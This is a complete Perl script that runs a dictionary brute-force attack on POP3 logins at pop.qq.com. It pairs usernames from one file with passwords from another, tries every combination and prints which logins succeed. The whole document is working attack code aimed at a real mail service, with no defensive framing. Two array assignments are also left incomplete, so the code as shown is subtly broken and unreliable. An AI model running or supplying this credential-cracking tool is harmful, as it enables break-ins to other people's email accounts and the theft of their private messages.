#!/usr/bin/perl
use Net::POP3;
$email="pop.qq.com";
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
print $pop->banner();
$pop->quit;
$i=0;
open(fp1,"user.txt");
@array1=
open(fp2,"pass.txt");
@array2=
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u."\@qq.com";
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print "cracked with ".$u."-----".$p."\n";
$i=$i+1;
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
$m=$pop->login($u,$p);
if($m>0)
{
print $u."------------".$p."----"."success"."\n";
$pop->quit;
}
else
{
print $u."------------".$p."----"."failed"."\n";
$pop->quit;
}
}
}
print $i;